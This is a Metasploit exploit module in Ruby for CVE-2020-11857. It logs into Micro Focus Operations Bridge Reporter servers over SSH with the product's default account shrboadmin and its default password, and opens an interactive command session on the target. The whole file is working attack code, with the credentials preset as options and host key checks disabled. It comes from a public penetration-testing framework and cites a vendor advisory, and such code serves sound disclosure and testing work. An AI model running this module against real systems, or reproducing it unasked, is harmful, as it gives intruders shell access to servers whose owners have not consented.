##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'net/ssh'
require 'net/ssh/command_stream'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::SSH
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Micro Focus Operations Bridge Reporter shrboadmin default password',
'Description' => %q{
This module abuses a known default password on Micro Focus Operations Bridge Reporter.
The 'shrboadmin' user, installed by default by the product has the password of 'shrboadmin',
and allows an attacker to login to the server via SSH.
This module has been tested with Micro Focus Operations Bridge Manager 10.40. Earlier
versions are most likely affected too.
Note that this is only exploitable in Linux installations.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and Metasploit module
],
'References' =>
[
[ 'CVE', '2020-11857' ],
[ 'ZDI', '20-1215' ],
[ 'URL', 'https://github.com/pedrib/PoC/blob/master/advisories/Micro_Focus/Micro_Focus_OBR.md' ],
[ 'URL', 'https://softwaresupport.softwaregrp.com/doc/KM03710590' ],
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread'
},
'Payload' =>
{
'Compat' => {
'PayloadType' => 'cmd_interact',
'ConnectionType' => 'find'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' =>
[
[ 'Micro Focus Operations Bridge Reporter (Linux) versions <= 10.40', {} ],
],
'Privileged' => false,
'DefaultTarget' => 0,
'DisclosureDate' => '2020-09-21'
)
)
register_options(
[
Opt::RPORT(22),
OptString.new('USERNAME', [true, 'Username to login with', 'shrboadmin']),
OptString.new('PASSWORD', [true, 'Password to login with', 'shrboadmin']),
], self.class
)
register_advanced_options(
[
OptBool.new('SSH_DEBUG', [false, 'Enable SSH debugging output (Extreme verbosity!)', false]),
OptInt.new('SSH_TIMEOUT', [false, 'Specify the maximum time to negotiate a SSH session', 30])
]
)
end
def rhost
datastore['RHOST']
end
def rport
datastore['RPORT']
end
def do_login(user, pass)
factory = ssh_socket_factory
opts = {
auth_methods: ['password', 'keyboard-interactive'],
port: rport,
use_agent: false,
config: false,
password: pass,
proxy: factory,
non_interactive: true,
verify_host_key: :never
}
opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
begin
ssh = nil
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
ssh = Net::SSH.start(rhost, user, opts)
end
rescue Rex::ConnectionError
return
rescue Net::SSH::Disconnect, ::EOFError
print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation"
return
rescue ::Timeout::Error
print_error "#{rhost}:#{rport} SSH - Timed out during negotiation"
return
rescue Net::SSH::AuthenticationFailed
print_error "#{rhost}:#{rport} SSH - Failed authentication"
rescue Net::SSH::Exception => e
print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}"
return
end
if ssh
conn = Net::SSH::CommandStream.new(ssh)
ssh = nil
return conn
end
return nil
end
def exploit
user = datastore['USERNAME']
pass = datastore['PASSWORD']
print_status("#{rhost}:#{rport} - Attempt to login to the server...")
conn = do_login(user, pass)
if conn
print_good("#{rhost}:#{rport} - Login Successful (#{user}:#{pass})")
handler(conn.lsock)
end
end
end
